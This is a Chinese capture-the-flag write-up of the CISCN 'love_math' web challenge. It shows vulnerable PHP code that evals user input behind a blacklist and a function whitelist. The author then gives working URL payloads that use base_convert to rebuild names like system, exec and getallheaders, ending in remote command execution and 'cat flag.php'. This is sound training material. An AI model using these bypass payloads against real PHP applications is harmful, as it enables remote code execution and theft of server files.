攻防世界-web-love_math（base_convert进制转换绕过白名单和长度限制）

题目来源：CISCN
题目描述：解密

进入界面

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

简单的代码审计

• 首先用户输入的参数值长度不能大于等于80。
• 然后用户输入不能包含黑名单里的字符，比如空格、制表符、回车换行、单双引号、反引号、[]。
• 接着用户输入的字符串需要匹配白名单。
• 最后通过eval函数可以执行用户输入。

测试一下白名单规则，经过试验

• abs(1)，匹配出abs，在白名单中，能过
• 1abs()，匹配出abs，在白名单中，能过
• absa()，匹配出absa，不在白名单中，不能过
• abs(a)，匹配出abs和a，a不在白名单中，不能过
• abs()a，匹配出abs和a，a不在白名单中，不能过

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

表示匹配$content变量中以字母或下划线开头，后面任意数量的字母、数组、下划线组成的字符串，将所有的可能结果放在$used_funcs数组中。

其中，

• \x7f-\xff 代表一个ASCII码字符，范围是0x7f(10进制 127)到0xff(10进制 255)，这在ascii码表里都是不可见字符。
• * 匹配前面的子表达式零次或多次。

最先我想的是用拼接裁剪的方式把payload组合出来，我极限组合用77字符能把phpinfo给组合出来

$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

思路：这段payload可以分为三部分，

• 首先定义一个变量名$pi，因为pi在白名单中且长度最短，其值为hypot.min.fmod，因为hypot、min、fmod均在白名单中，而且phpinfo中的所有字符均可以在其中找到；
• 然后从hypot.min.fmod中分别取第2、0、2、6、7、8、3位置字符，拼成phpinfo字符串，并重新赋值给$pi变量；
• 最后执行$pi()，即执行phpinfo()函数。

但是根据这个思路getflag，怎么也会超长度。

然后考虑是不是touch个文件，进行把命令拆分写入文件，再执行文件，但是也难绕过白名单。

最后看了writeup发现在众多函数中有个base_convert（）函数，这个才是解题的关键。

先看看函数的用法https://www.runoob.com/php/func-math-base-convert.html

base_convert(number,frombase,tobase);  函数在任意进制之间转换数字。

在看这道题writeup之前，我的认知还停留在16进制会带个abcdef，殊不知还可以到36进制，可以带所有小写字母。

36进制，是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9，A-Z组成，字母不区分大小写。与10进制的对应关系是：0-9对应0-9；A-F对应10-35。

进制说明：36进制是 0-Z （0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ）。

有了这个函数就能大大减短payload了。

首先，实现phpinfo()试试

?c=base_convert(55490343972,10,36)()

然后，实现system('ls')，查看当前目录下的文件

?c=base_convert(1751504350,10,36)(base_convert(784,10,36))

发现了flag.php。

接下来，我们就要尝试读取flag.php。

如果直接使用读取文件函数file_get_contents中包含下划线不在我们36进制中，并且base_convert()第一个参数太长会溢出，也就是10进制数没法无限大。

方法一 借助getallheader()来控制请求头，通过请求头的字段读取flag.php。

这里也就类似于$_GET，$_POST之类的，但是因为只能控制小写字符，所以大写的直接被pass掉。

getallheader()返回的是数组，要从数组里面取数据用array['xxx']，但是无奈[]被waf了，因为{}中是可以带数字的，这里用getallheader(){1}可以返回自定义头1里面的内容。

最后的payload如下

/?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})

并且在请求头上加上1:cat flag.php字段即可。

payload中，

base_convert(696468,10,36); 代表把696468从10进制转换为36进制，结果为exec。

base_convert(8768397090111664438,10,30); 代表把8768397090111664438从10进制转换为30进制，结果为getallheaders。注意这里不能用36进制，因为getallheaders的36进制转换为10进制后数太长会溢出，也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。（当然这是在linux下使用php7.3版本的结果，如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换，再转换回来的时候都存在溢出，也就是无法把10进制数变回getallheader）

最终得到falg。如下

这里解释一下为什么会输出一个base_convert字符串，因为php中echo xx,yy，即输出xx和yy的结果，xx和yy中间用逗号隔开，echo都能输出。所以这里会把我们payload中的第一项输出出来。

方法二 使用system(hex2bin(nl*))读取所有文件内容

payload如下

?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

得到flag为flag{dgjregjvdsmvba356sg}，但是不知道为什么提示错误。

参考：

https://www.cnblogs.com/sijidou/p/10802475.html

https://blog.csdn.net/weixin_44604541/article/details/108914188